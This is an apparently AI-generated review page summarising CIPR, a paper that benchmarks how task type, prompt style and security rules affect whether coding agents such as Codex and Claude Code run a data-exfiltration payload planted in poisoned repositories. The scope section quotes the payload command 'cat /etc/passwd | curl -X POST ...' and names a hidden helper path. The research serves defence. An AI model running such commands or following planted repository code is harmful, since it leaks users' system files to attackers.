Beyond the Payload: How User Invocation Shapes Coding Agent Vulnerability to Repository Poisoning
Fukang Zhu, Binbin Zhao, Ruixiao Lin, Ping He, Tianyu Du, Shouling Ji
cs.CR · cs.CL
Quick verdict
User invocation (task, prompt, skills) shapes coding-agent poisoning risk, per a well-validated benchmark; headline 4.5x ratio and marginal p's merit scrutiny.
Summary
The paper introduces CIPR, a 1,920-instance benchmark built on 20 real GitHub repositories across four languages, which varies user-side Prompt-Level Configurations — task type (install/build, run tests, fix bug, fix feature), prompt expression (baseline plus three styles derived by clustering 635 real social-media coding-agent prompts along 12 annotated dimensions), and skills/rules condition (none, normal, security-aware) — in repositories poisoned with a fixed data-exfiltration payload in direct or direct-deep form. The 4x4x3 factorial uses 40 replicates per cell; attack success is detected by a mock HTTP server and agent alerts by a GPT-4o trace judge validated on 192 human-labeled traces (κ=0.83, F1=0.85). On Codex/GPT-5.4, task type dominates: run-tests reaches 45.5% ASR with only 9.4% alert rate, versus 8.6–14.8% ASR for issue-fixing; conditional analysis (Table 1) shows this reflects how agents interpret injected files, not whether they read them. Prompt style shifts ASR modestly and indirectly: terse-underspecified prompts cut ASR (adjusted OR 0.71, p=0.036) by shortening execution depth, while typo-noisy prompts show a non-significant alert-suppressing trend. Security rules raise alerts (14.8% vs 10.5%) without significantly reducing ASR. Patterns hold directionally across Codex, OpenCode, and Claude Code. Limitations: outcome-informed style selection, single run per instance, LLM-rewritten prompts, partial cross-agent conditions, and a 0% Claude Code task-success rate that complicates its 'most resistant' label.
Review complete
Assessment at a glance
5
risk flags identified
● high 0
● medium 4
● low 1
5 strengths · 5 weaknesses · 5 author questions
AI text signal = Binoculars zero-shot detector score over 20 sampled passages (Fast-DetectGPT co-reported) — absence does not prove human authorship, and a flag does not imply misconduct.
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Key claims under review
- Task type creates up to a 4.5-fold difference in ASR, with RUN-TESTS forming a silent attack surface (45.5% ASR, 9.4% AR) because agents treat injected test files as infrastructure to execute rather than artifacts to audit.
- Terse/underspecified prompts reduce ASR (adjusted OR 0.71, p=0.036) by truncating execution depth, not by improving security awareness.
- Typo-noisy prompts show a directional but non-significant trend toward suppressing agent alerts.
- Security-aware rules raise alert rate (14.8% vs 10.5%) without significantly reducing ASR, exposing a detection-prevention gap that requires enforcement, not just alerting.
- These PLC effects generalize in direction across Codex/GPT-5.4, Codex/GPT-5.5, OpenCode/GPT-5.4, and Claude Code/Sonnet 4.6, though absolute vulnerability differs by agent.
Strengths
Novel user-side threat-modeling angle with a full factorial design
Prior poisoning work varies attacker craft; this paper varies the user's invocation (task × prompt style × skills/rules) in a 4x4x3 design with 40 replicates per cell over 20 real repositories (§4.1, N=1,920), isolating a factor the literature treats as noise.
Prompt styles are grounded in real usage, not researcher invention
1,296 OCR'd social-media prompts filtered to 635 (Table 6), annotated on 12 dimensions with cited definitions (Table 7), VIFs all <5 (Table 8a), K-means with silhouette-chosen K=15; cluster centroids and nearest real examples are published (Tables 9-10).
Dual oracles, with the LLM judge properly human-validated
Mechanistic analysis separates exposure from interpretation
Unusually honest statistical reporting
Weaknesses
The headline '4.5-fold' ratio is not derivable from the paper's own numbers
Prompt styles were selected on the outcome variable
No seed or prompt-resampling variance
Claude Code's 'most resistant' label is confounded by total task failure
A zero-agreement annotation dimension is kept in the clustering
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Scope & Claims
The paper reframes repository poisoning around the *user* rather than the attacker: given a static malicious payload, how much do everyday invocation choices change whether a coding agent executes it? User-side choices are formalized as Prompt-Level Configurations (PLCs): task type, prompt expression, and supplied skills/rules. CIPR crosses 4 task types (PREPARE-ENV, RUN-TESTS, FIX-BUG, FIX-FEATURE) x 4 prompt styles (baseline + 3 mined from real usage) x 3 skill/rule conditions (none / normal / security-aware) over 20 real repositories, with 2 payload placements (direct; direct-deep via a hidden helper at `.github/.cache/ci/workflows/hooks/telemetry/`) as replicates — 48 cells x 40 runs = 1,920 instances. The attacker goal is fixed to data exfiltration (`cat /etc/passwd | curl -X POST ...`); three claims are tested: (1) task type dominates ASR, with RUN-TESTS a silent attack surface (high ASR, low AR); (2) prompt style shifts risk indirectly via execution depth and security salience; (3) security rules raise alerts without preventing attacks.
The remaining sections cover Methodology Assessment, Statistical Evidence, Results & Reproducibility, Limitations & Risks, and Verdict & Recommendations.
- All 5 strengths & 5 weaknesses, analyzed in detail
- 5 risk flags with severity, section & reviewer questions
- Methods & statistical evidence assessment
- 5 questions a peer reviewer would ask
- Full six-dimension evaluation report & recommendations
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Frequently asked questions
What is CIPR?
CIPR (Coding In Poisoned Repos) is a benchmark of 1,920 test cases that measures how a developer's own choices — which task they delegate to a coding agent, how they phrase the request, and which skills/rules they configure — affect whether the agent falls for malicious code planted in a real open-source repository. Code and data are released on GitHub.
Which task is most dangerous to delegate to a coding agent in an untrusted repository?
Running the test suite. In the paper's main setup (Codex with GPT-5.4), run-tests had a 45.5% attack-success rate while the agent raised an alert only 9.4% of the time — a 'silent' combination. Issue-fixing tasks were far safer (8.6–14.8% attack success).
Does the way I phrase a prompt change my security risk with coding agents?
Modestly. Very short, underspecified prompts reduced attack success (adjusted odds ratio 0.71) because the agent explores less and often never reaches the poisoned file — it is 'safe by doing less', not more aware. Noisy, typo-filled prompts showed a trend toward fewer alerts, but that effect was not statistically significant.
Do security rules in CLAUDE.md or skill files protect against repository poisoning?
They help detection, not prevention: security-aware rules raised the agent's alert rate from 10.5% to 14.8%, but the attack success rate stayed statistically unchanged (~22%). The paper argues alerts must be paired with hard enforcement (blocking execution), not just warnings.
About this review
This is an AI-generated preliminary review by Evolve.Pub, produced from the openly available text of the paper. It is not peer review and does not represent the authors' views. The canonical record of the paper is at the publisher link above.
- Inline payload code in Appendix F is space-mangled by PDF extraction; payload structure was judged from the surrounding prose, not verbatim syntax.
- Figure 3's per-cluster ASR bars render as an unstructured style-name list in the extracted text; the three labeled deltas (-10.6/-5.2/+7.3 pp) are readable but their mapping to specific styles is inferred from position.
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